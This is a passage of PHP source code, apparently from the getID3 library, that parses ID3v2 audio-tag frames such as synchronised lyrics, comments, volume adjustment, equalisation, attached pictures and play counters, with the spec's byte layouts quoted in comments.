				$this->warning('Invalid data in frame "'.$parsedFrame['frame_name'].'" at offset '.$parsedFrame['dataoffset']);
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'SYLT')) || // 4.9   SYLT Synchronised lyric/text
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'SLT'))) {     // 4.10  SLT  Synchronised lyric/text
			//   There may be more than one 'SYLT' frame in each tag,
			//   but only one with the same language and content descriptor.
			// <Header for 'Synchronised lyrics/text', ID: 'SYLT'>
			// Text encoding        $xx
			// Language             $xx xx xx
			// Time stamp format    $xx
			//   $01  (32-bit value) MPEG frames from beginning of file
			//   $02  (32-bit value) milliseconds from beginning of file
			// Content type         $xx
			// Content descriptor   <text string according to encoding> $00 (00)
			//   Terminated text to be synced (typically a syllable)
			//   Sync identifier (terminator to above string)   $00 (00)
			//   Time stamp                                     $xx (xx ...)

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
			$frame_offset += 3;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['contenttypeid']   = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['contenttype']     = $this->SYTLContentTypeLookup($parsedFrame['contenttypeid']);
			$parsedFrame['encodingid']      = $frame_textencoding;
			$parsedFrame['encoding']        = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['language']        = $frame_language;
			$parsedFrame['languagename']    = $this->LanguageLookup($frame_language, false);

			$timestampindex = 0;
			$frame_remainingdata = substr($parsedFrame['data'], $frame_offset);
			while (strlen($frame_remainingdata)) {
				$frame_offset = 0;
				$frame_terminatorpos = strpos($frame_remainingdata, $frame_textencoding_terminator);
				if ($frame_terminatorpos === false) {
					$frame_remainingdata = '';
				} else {
					if (ord(substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
						$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
					}
					$parsedFrame['lyrics'][$timestampindex]['data'] = substr($frame_remainingdata, $frame_offset, $frame_terminatorpos - $frame_offset);

					$frame_remainingdata = substr($frame_remainingdata, $frame_terminatorpos + strlen($frame_textencoding_terminator));
					if (($timestampindex == 0) && (ord($frame_remainingdata[0]) != 0)) {
						// timestamp probably omitted for first data item
					} else {
						$parsedFrame['lyrics'][$timestampindex]['timestamp'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 4));
						$frame_remainingdata = substr($frame_remainingdata, 4);
					}
					$timestampindex++;
				}
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMM')) || // 4.10  COMM Comments
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'COM'))) {     // 4.11  COM  Comments
			//   There may be more than one comment frame in each tag,
			//   but only one with the same language and content descriptor.
			// <Header for 'Comment', ID: 'COMM'>
			// Text encoding          $xx
			// Language               $xx xx xx
			// Short content descrip. <text string according to encoding> $00 (00)
			// The actual text        <full text string according to encoding>

			if (strlen($parsedFrame['data']) < 5) {

				$this->warning('Invalid data (too short) for "'.$parsedFrame['frame_name'].'" frame at offset '.$parsedFrame['dataoffset']);

			} else {

				$frame_offset = 0;
				$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
				$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
				if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
					$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
					$frame_textencoding_terminator = "\x00";
				}
				$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
				$frame_offset += 3;
				$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
				}
				$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
				$frame_text = (string) substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
				$frame_text = $this->RemoveStringTerminator($frame_text, $frame_textencoding_terminator);

				$parsedFrame['encodingid']   = $frame_textencoding;
				$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);

				$parsedFrame['language']     = $frame_language;
				$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
				$parsedFrame['data']         = $frame_text;
				if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
					$commentkey = ($parsedFrame['description'] ? $parsedFrame['description'] : (!empty($info['id3v2']['comments'][$parsedFrame['framenameshort']]) ? count($info['id3v2']['comments'][$parsedFrame['framenameshort']]) : 0));
					if (!isset($info['id3v2']['comments'][$parsedFrame['framenameshort']]) || !array_key_exists($commentkey, $info['id3v2']['comments'][$parsedFrame['framenameshort']])) {
						$info['id3v2']['comments'][$parsedFrame['framenameshort']][$commentkey] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
					} else {
						$info['id3v2']['comments'][$parsedFrame['framenameshort']][]            = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
					}
				}

			}

		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'RVA2')) { // 4.11  RVA2 Relative volume adjustment (2) (ID3v2.4+ only)
			//   There may be more than one 'RVA2' frame in each tag,
			//   but only one with the same identification string
			// <Header for 'Relative volume adjustment (2)', ID: 'RVA2'>
			// Identification          <text string> $00
			//   The 'identification' string is used to identify the situation and/or
			//   device where this adjustment should apply. The following is then
			//   repeated for every channel:
			// Type of channel         $xx
			// Volume adjustment       $xx xx
			// Bits representing peak  $xx
			// Peak volume             $xx (xx ...)

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00");
			$frame_idstring = substr($parsedFrame['data'], 0, $frame_terminatorpos);
			if (ord($frame_idstring) === 0) {
				$frame_idstring = '';
			}
			$frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00"));
			$parsedFrame['description'] = $frame_idstring;
			$RVA2channelcounter = 0;
			while (strlen($frame_remainingdata) >= 5) {
				$frame_offset = 0;
				$frame_channeltypeid = ord(substr($frame_remainingdata, $frame_offset++, 1));
				$parsedFrame[$RVA2channelcounter]['channeltypeid']  = $frame_channeltypeid;
				$parsedFrame[$RVA2channelcounter]['channeltype']    = $this->RVA2ChannelTypeLookup($frame_channeltypeid);
				$parsedFrame[$RVA2channelcounter]['volumeadjust']   = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, 2), false, true); // 16-bit signed
				$frame_offset += 2;
				$parsedFrame[$RVA2channelcounter]['bitspeakvolume'] = ord(substr($frame_remainingdata, $frame_offset++, 1));
				if (($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] < 1) || ($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] > 4)) {
					$this->warning('ID3v2::RVA2 frame['.$RVA2channelcounter.'] contains invalid '.$parsedFrame[$RVA2channelcounter]['bitspeakvolume'].'-byte bits-representing-peak value');
					break;
				}
				$frame_bytespeakvolume = ceil($parsedFrame[$RVA2channelcounter]['bitspeakvolume'] / 8);
				$parsedFrame[$RVA2channelcounter]['peakvolume']     = getid3_lib::BigEndian2Int(substr($frame_remainingdata, $frame_offset, $frame_bytespeakvolume));
				$frame_remainingdata = substr($frame_remainingdata, $frame_offset + $frame_bytespeakvolume);
				$RVA2channelcounter++;
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'RVAD')) || // 4.12  RVAD Relative volume adjustment (ID3v2.3 only)
				  (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'RVA'))) {  // 4.12  RVA  Relative volume adjustment (ID3v2.2 only)
			//   There may only be one 'RVA' frame in each tag
			// <Header for 'Relative volume adjustment', ID: 'RVA'>
			// ID3v2.2 => Increment/decrement     %000000ba
			// ID3v2.3 => Increment/decrement     %00fedcba
			// Bits used for volume descr.        $xx
			// Relative volume change, right      $xx xx (xx ...) // a
			// Relative volume change, left       $xx xx (xx ...) // b
			// Peak volume right                  $xx xx (xx ...)
			// Peak volume left                   $xx xx (xx ...)
			//   ID3v2.3 only, optional (not present in ID3v2.2):
			// Relative volume change, right back $xx xx (xx ...) // c
			// Relative volume change, left back  $xx xx (xx ...) // d
			// Peak volume right back             $xx xx (xx ...)
			// Peak volume left back              $xx xx (xx ...)
			//   ID3v2.3 only, optional (not present in ID3v2.2):
			// Relative volume change, center     $xx xx (xx ...) // e
			// Peak volume center                 $xx xx (xx ...)
			//   ID3v2.3 only, optional (not present in ID3v2.2):
			// Relative volume change, bass       $xx xx (xx ...) // f
			// Peak volume bass                   $xx xx (xx ...)

			$frame_offset = 0;
			$frame_incrdecrflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['incdec']['right'] = (bool) substr($frame_incrdecrflags, 6, 1);
			$parsedFrame['incdec']['left']  = (bool) substr($frame_incrdecrflags, 7, 1);
			$parsedFrame['bitsvolume'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_bytesvolume = ceil($parsedFrame['bitsvolume'] / 8);
			$parsedFrame['volumechange']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			if ($parsedFrame['incdec']['right'] === false) {
				$parsedFrame['volumechange']['right'] *= -1;
			}
			$frame_offset += $frame_bytesvolume;
			$parsedFrame['volumechange']['left'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			if ($parsedFrame['incdec']['left'] === false) {
				$parsedFrame['volumechange']['left'] *= -1;
			}
			$frame_offset += $frame_bytesvolume;
			$parsedFrame['peakvolume']['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			$frame_offset += $frame_bytesvolume;
			$parsedFrame['peakvolume']['left']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
			$frame_offset += $frame_bytesvolume;
			if ($id3v2_majorversion == 3) {
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
				if (strlen($parsedFrame['data']) > 0) {
					$parsedFrame['incdec']['rightrear'] = (bool) substr($frame_incrdecrflags, 4, 1);
					$parsedFrame['incdec']['leftrear']  = (bool) substr($frame_incrdecrflags, 5, 1);
					$parsedFrame['volumechange']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['rightrear'] === false) {
						$parsedFrame['volumechange']['rightrear'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['volumechange']['leftrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['leftrear'] === false) {
						$parsedFrame['volumechange']['leftrear'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['rightrear'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['leftrear']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
				}
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
				if (strlen($parsedFrame['data']) > 0) {
					$parsedFrame['incdec']['center'] = (bool) substr($frame_incrdecrflags, 3, 1);
					$parsedFrame['volumechange']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['center'] === false) {
						$parsedFrame['volumechange']['center'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['center'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
				}
				$parsedFrame['data'] = substr($parsedFrame['data'], $frame_offset);
				if (strlen($parsedFrame['data']) > 0) {
					$parsedFrame['incdec']['bass'] = (bool) substr($frame_incrdecrflags, 2, 1);
					$parsedFrame['volumechange']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					if ($parsedFrame['incdec']['bass'] === false) {
						$parsedFrame['volumechange']['bass'] *= -1;
					}
					$frame_offset += $frame_bytesvolume;
					$parsedFrame['peakvolume']['bass'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesvolume));
					$frame_offset += $frame_bytesvolume;
				}
			}
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'EQU2')) { // 4.12  EQU2 Equalisation (2) (ID3v2.4+ only)
			//   There may be more than one 'EQU2' frame in each tag,
			//   but only one with the same identification string
			// <Header of 'Equalisation (2)', ID: 'EQU2'>
			// Interpolation method  $xx
			//   $00  Band
			//   $01  Linear
			// Identification        <text string> $00
			//   The following is then repeated for every adjustment point
			// Frequency          $xx xx
			// Volume adjustment  $xx xx

			$frame_offset = 0;
			$frame_interpolationmethod = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_idstring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_idstring) === 0) {
				$frame_idstring = '';
			}
			$parsedFrame['description'] = $frame_idstring;
			$frame_remainingdata = substr($parsedFrame['data'], $frame_terminatorpos + strlen("\x00"));
			while (strlen($frame_remainingdata)) {
				$frame_frequency = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 0, 2)) / 2;
				$parsedFrame['data'][$frame_frequency] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, 2), false, true);
				$frame_remainingdata = substr($frame_remainingdata, 4);
			}
			$parsedFrame['interpolationmethod'] = $frame_interpolationmethod;
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion == 3) && ($parsedFrame['frame_name'] == 'EQUA')) || // 4.12  EQUA Equalisation (ID3v2.3 only)
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'EQU'))) {     // 4.13  EQU  Equalisation (ID3v2.2 only)
			//   There may only be one 'EQUA' frame in each tag
			// <Header for 'Relative volume adjustment', ID: 'EQU'>
			// Adjustment bits    $xx
			//   This is followed by 2 bytes + ('adjustment bits' rounded up to the
			//   nearest byte) for every equalisation band in the following format,
			//   giving a frequency range of 0 - 32767Hz:
			// Increment/decrement   %x (MSB of the Frequency)
			// Frequency             (lower 15 bits)
			// Adjustment            $xx (xx ...)

			$frame_offset = 0;
			$parsedFrame['adjustmentbits'] = substr($parsedFrame['data'], $frame_offset++, 1);
			$frame_adjustmentbytes = ceil($parsedFrame['adjustmentbits'] / 8);

			$frame_remainingdata = (string) substr($parsedFrame['data'], $frame_offset);
			while (strlen($frame_remainingdata) > 0) {
				$frame_frequencystr = getid3_lib::BigEndian2Bin(substr($frame_remainingdata, 0, 2));
				$frame_incdec    = (bool) substr($frame_frequencystr, 0, 1);
				$frame_frequency = bindec(substr($frame_frequencystr, 1, 15));
				$parsedFrame[$frame_frequency]['incdec'] = $frame_incdec;
				$parsedFrame[$frame_frequency]['adjustment'] = getid3_lib::BigEndian2Int(substr($frame_remainingdata, 2, $frame_adjustmentbytes));
				if ($parsedFrame[$frame_frequency]['incdec'] === false) {
					$parsedFrame[$frame_frequency]['adjustment'] *= -1;
				}
				$frame_remainingdata = substr($frame_remainingdata, 2 + $frame_adjustmentbytes);
			}
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RVRB')) || // 4.13  RVRB Reverb
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'REV'))) {     // 4.14  REV  Reverb
			//   There may only be one 'RVRB' frame in each tag.
			// <Header for 'Reverb', ID: 'RVRB'>
			// Reverb left (ms)                 $xx xx
			// Reverb right (ms)                $xx xx
			// Reverb bounces, left             $xx
			// Reverb bounces, right            $xx
			// Reverb feedback, left to left    $xx
			// Reverb feedback, left to right   $xx
			// Reverb feedback, right to right  $xx
			// Reverb feedback, right to left   $xx
			// Premix left to right             $xx
			// Premix right to left             $xx

			$frame_offset = 0;
			$parsedFrame['left']  = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['right'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['bouncesL']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['bouncesR']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackLL']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackLR']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackRR']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['feedbackRL']    = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['premixLR']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['premixRL']      = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'APIC')) || // 4.14  APIC Attached picture
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'PIC'))) {     // 4.15  PIC  Attached picture
			//   There may be several pictures attached to one file,
			//   each in their individual 'APIC' frame, but only one
			//   with the same content descriptor
			// <Header for 'Attached picture', ID: 'APIC'>
			// Text encoding      $xx
			// ID3v2.3+ => MIME type          <text string> $00
			// ID3v2.2  => Image format       $xx xx xx
			// Picture type       $xx
			// Description        <text string according to encoding> $00 (00)
			// Picture data       <binary data>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}

			$frame_imagetype = null;
			$frame_mimetype = null;
			if ($id3v2_majorversion == 2 && strlen($parsedFrame['data']) > $frame_offset) {
				$frame_imagetype = substr($parsedFrame['data'], $frame_offset, 3);
				if (strtolower($frame_imagetype) == 'ima') {
					// complete hack for mp3Rage (www.chaoticsoftware.com) that puts ID3v2.3-formatted
					// MIME type instead of 3-char ID3v2.2-format image type  (thanks xbhoffØpacbell*net)
					$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
					$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
					if (ord($frame_mimetype) === 0) {
						$frame_mimetype = '';
					}
					$frame_imagetype = strtoupper(str_replace('image/', '', strtolower($frame_mimetype)));
					if ($frame_imagetype == 'JPEG') {
						$frame_imagetype = 'JPG';
					}
					$frame_offset = $frame_terminatorpos + strlen("\x00");
				} else {
					$frame_offset += 3;
				}
			}
			if ($id3v2_majorversion > 2 && strlen($parsedFrame['data']) > $frame_offset) {
				$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
				$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				if (ord($frame_mimetype) === 0) {
					$frame_mimetype = '';
				}
				$frame_offset = $frame_terminatorpos + strlen("\x00");
			}

			$frame_picturetype = ord(substr($parsedFrame['data'], $frame_offset++, 1));

			if ($frame_offset >= $parsedFrame['datalength']) {
				$this->warning('data portion of APIC frame is missing at offset '.($parsedFrame['dataoffset'] + 8 + $frame_offset));
			} else {
				$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
				}
				$parsedFrame['description']   = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				$parsedFrame['description']   = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
				$parsedFrame['encodingid']    = $frame_textencoding;
				$parsedFrame['encoding']      = $this->TextEncodingNameLookup($frame_textencoding);

				if ($id3v2_majorversion == 2) {
					$parsedFrame['imagetype'] = isset($frame_imagetype) ? $frame_imagetype : null;
				} else {
					$parsedFrame['mime']      = isset($frame_mimetype) ? $frame_mimetype : null;
				}
				$parsedFrame['picturetypeid'] = $frame_picturetype;
				$parsedFrame['picturetype']   = $this->APICPictureTypeLookup($frame_picturetype);
				$parsedFrame['data']          = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
				$parsedFrame['datalength']    = strlen($parsedFrame['data']);

				$parsedFrame['image_mime']    = '';
				$imageinfo = array();
				if ($imagechunkcheck = getid3_lib::GetDataImageSize($parsedFrame['data'], $imageinfo)) {
					if (($imagechunkcheck[2] >= 1) && ($imagechunkcheck[2] <= 3)) {
						$parsedFrame['image_mime']       = image_type_to_mime_type($imagechunkcheck[2]);
						if ($imagechunkcheck[0]) {
							$parsedFrame['image_width']  = $imagechunkcheck[0];
						}
						if ($imagechunkcheck[1]) {
							$parsedFrame['image_height'] = $imagechunkcheck[1];
						}
					}
				}

				do {
					if ($this->getid3->option_save_attachments === false) {
						// skip entirely
						unset($parsedFrame['data']);
						break;
					}
					$dir = '';
					if ($this->getid3->option_save_attachments === true) {
						// great
/*
					} elseif (is_int($this->getid3->option_save_attachments)) {
						if ($this->getid3->option_save_attachments < $parsedFrame['data_length']) {
							// too big, skip
							$this->warning('attachment at '.$frame_offset.' is too large to process inline ('.number_format($parsedFrame['data_length']).' bytes)');
							unset($parsedFrame['data']);
							break;
						}
*/
					} elseif (is_string($this->getid3->option_save_attachments)) {
						$dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR);
						if (!is_dir($dir) || !getID3::is_writable($dir)) {
							// cannot write, skip
							$this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$dir.'" (not writable)');
							unset($parsedFrame['data']);
							break;
						}
					}
					// if we get this far, must be OK
					if (is_string($this->getid3->option_save_attachments)) {
						$destination_filename = $dir.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$frame_offset;
						if (!file_exists($destination_filename) || getID3::is_writable($destination_filename)) {
							file_put_contents($destination_filename, $parsedFrame['data']);
						} else {
							$this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$destination_filename.'" (not writable)');
						}
						$parsedFrame['data_filename'] = $destination_filename;
						unset($parsedFrame['data']);
					} else {
						if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
							if (!isset($info['id3v2']['comments']['picture'])) {
								$info['id3v2']['comments']['picture'] = array();
							}
							$comments_picture_data = array();
							foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
								if (isset($parsedFrame[$picture_key])) {
									$comments_picture_data[$picture_key] = $parsedFrame[$picture_key];
								}
							}
							$info['id3v2']['comments']['picture'][] = $comments_picture_data;
							unset($comments_picture_data);
						}
					}
				} while (false); // @phpstan-ignore-line
			}

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GEOB')) || // 4.15  GEOB General encapsulated object
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'GEO'))) {     // 4.16  GEO  General encapsulated object
			//   There may be more than one 'GEOB' frame in each tag,
			//   but only one with the same content descriptor
			// <Header for 'General encapsulated object', ID: 'GEOB'>
			// Text encoding          $xx
			// MIME type              <text string> $00
			// Filename               <text string according to encoding> $00 (00)
			// Content description    <text string according to encoding> $00 (00)
			// Encapsulated object    <binary data>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_mimetype) === 0) {
				$frame_mimetype = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$frame_filename = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_filename) === 0) {
				$frame_filename = '';
			}
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$parsedFrame['objectdata']  = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['encodingid']  = $frame_textencoding;
			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['mime']        = $frame_mimetype;
			$parsedFrame['filename']    = $frame_filename;
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PCNT')) || // 4.16  PCNT Play counter
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CNT'))) {     // 4.17  CNT  Play counter
			//   There may only be one 'PCNT' frame in each tag.
			//   When the counter reaches all one's, one byte is inserted in
			//   front of the counter thus making the counter eight bits bigger
			// <Header for 'Play counter', ID: 'PCNT'>
			// Counter        $xx xx xx xx (xx ...)

			$parsedFrame['data']          = getid3_lib::BigEndian2Int($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POPM')) || // 4.17  POPM Popularimeter
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'POP'))) {    // 4.18  POP  Popularimeter
			//   There may be more than one 'POPM' frame in each tag,
			//   but only one with the same email address
			// <Header for 'Popularimeter', ID: 'POPM'>
			// Email to user   <text string> $00
			// Rating          $xx
			// Counter         $xx xx xx xx (xx ...)

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_emailaddress = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_emailaddress) === 0) {
				$frame_emailaddress = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$frame_rating = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['counter'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset));
			$parsedFrame['email']   = $frame_emailaddress;
			$parsedFrame['rating']  = $frame_rating;
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RBUF')) || // 4.18  RBUF Recommended buffer size
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'BUF'))) {     // 4.19  BUF  Recommended buffer size
			//   There may only be one 'RBUF' frame in each tag
			// <Header for 'Recommended buffer size', ID: 'RBUF'>
			// Buffer size               $xx xx xx
			// Embedded info flag        %0000000x
			// Offset to next tag        $xx xx xx xx

			$frame_offset = 0;
			$parsedFrame['buffersize'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 3));
			$frame_offset += 3;

